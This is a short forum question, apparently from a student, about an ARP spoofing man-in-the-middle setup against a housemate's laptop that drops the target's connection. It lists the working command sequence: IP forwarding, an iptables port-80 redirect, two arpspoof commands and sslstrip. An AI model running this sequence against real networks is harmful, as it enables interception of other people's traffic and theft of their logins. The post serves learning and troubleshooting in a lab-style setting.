Arp Spoofing Causing Dropped Connections

I have had a lecture today based on Arp Spoofing. However, i can not get it to work.

Scenario:

My laptop - running kali

Target laptop (housemate - with permission) - running windows 8

Commands entered in order:

1. echo 1 > /proc/sys/net/ipv4/ip_forward


2. iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 1024


3. arpspoof -i wlan0 -t 192.168.0.1 192.168.0.9


4. arpspoof -i wlan0 -t 192.168.0.9 192.168.0.1

However, on completion of these commands, the connection on the targets machine is lost and they cannot access any webpages.

After trying to figure this out myself, i ran Wireshark and noticed that the connection goes as follows:

Target > host > website > host - STOPS HERE.

I am struggling to understand why the traffic is not being forwarded back to the target when i have enabled it?

I have tried to enable a listening program on the port (sslstrip) to see if that was the issue but this causes the same problem.

EDIT: Commands 3 and 4 were perfomed in seperate terminals
